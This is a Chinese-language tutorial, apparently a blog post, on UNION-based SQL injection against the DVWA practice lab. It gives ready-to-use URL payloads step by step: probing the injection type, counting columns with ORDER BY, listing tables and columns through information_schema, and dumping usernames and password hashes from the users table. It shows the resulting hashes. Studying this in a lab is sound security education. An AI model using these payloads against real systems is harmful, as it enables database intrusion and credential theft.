SQL注入-联合查询注入

SQL注入-联合查询注入

一,原理

使用union select对两个表联合查询,注意两个表查询的字段数量要相同,不然会报错。

比如表一有2个字段,表二有4个字段,要想联合查询必须查询字段数量相等,就得这么写:select * from tableA union select 1,2 from tableB

有无回显:有

二、information_schema库

在mysql5.2版本以上加入了information_schema库,作为元数据库,这个库里的schemata,tables,column表分别存放着数据库的库,表,字段信息。

1,information_schema.schemata表: 字段schema_name为库名

请添加图片描述

2,information_schema.tables表:字段较多,我们只需记住TABLE_SCHEMATABLE_NAME字段分别为库名 和表名就可以了。

请添加图片描述

3,information_column.column表:字段也比较多,我们只需记住TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME分别对应表所在库名,表名和字段名即可。

请添加图片描述

示例

环境:dvwa
一,先将dvwa调至low等级:

请添加图片描述

二,测试注入类型;
我们输入1' and '11' and '0时发现页面回显不同,可确定为字符串类型。

请添加图片描述
请添加图片描述
请添加图片描述

当传递参数1' and '1时,两边都为真,所以能查出数据,当传递参数为1' and '0时,因为0为假,所以查不出数据。

三、判断字段数
order by关键字:用于对查询结果排序。

--+:用于将后面的语句注释掉。

在URL中依次传递?id=1' order by 4 --+,?id=1' order by 3 --+ ,?id=1' order by 2 --+,发现传递?id=1' order by 2 --+时有回显(SQL语句没报错),说明字段数为2。

在这里插入图片描述

四、查看回显位置

我们知道了字段数为2,那么我们就可以通过联合查询判断字段显示位置:

payload:?id=-1' union select 1,2 --+:

请添加图片描述
根据回显结果得出字段1和字段2的回显位置。

五、联合查询敏感数据
常用内嵌函数
user() # 当前用户
version() # 数据库版本
database() # 当前数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本

查询当前用户和数据库:

?id=-1' union select user(),database() --+:在字段1和2的位置换上内嵌函数即可,注意联合注入前面的要让他报错(列如本次id=-1),后面的才会在页面回显出来。

请添加图片描述
查询可知我们的当前用户为root,数据库为dvwa

六、爆表

group_concat():关键字,将结果分组打印。

payload:?id=-1' union select user(),(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') --+:该payload意为查询information_schema库的tables表中的table_name字段中的数据,条件为table_schema=‘库名’(此处也可以用table_schema=database()代替),并将结果分组打印,关于information_schema库我们在上面说过。

请添加图片描述
由回显结果得出dvwa库中存在guestbook和users表。

七、爆字段

payload:?id=-1' union select user(),(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa') --+:从information_schema的columns表中查询column_name,条件为table_name=‘表名’,table_schema=‘库名’

请添加图片描述
这一步和上面差不多,都是对于元数据库的利用,只不过表名和字段名存放的表不一样而已,由回显结果显示users表中存在user_id,first_name,last_name,user,password,avatar,last_login,failed_login字段。

八、爆数据

注:如果你只需要验证漏洞是否存在,那么在上一步得出字段后基本就可以结束了。

limit 0,2:从第0条数据开始取出2个数据(取出前两条数据)。

0x3a:特殊字符:的ASCII码,用于分割结果。

as a:将结果取别名为a

payload:?id=-1' union select user(),(select group_concat(user,0x3a,password) from (select user,password from users limit 0,2 ) as a) --+:
请添加图片描述
得出前两条数据为admin:5f4dcc3b5aa765d61d8327deb882cf99,gordonb:e99a18c428cb38d5f260853678922e03。

其他:

建议使用hackbar工具进行注入较为方便,新版hackbar已经收费,可以在网上找旧版,因为我也是在网上找的不确定安全性就不发在这了。
  • 2
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小洋葱头头

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值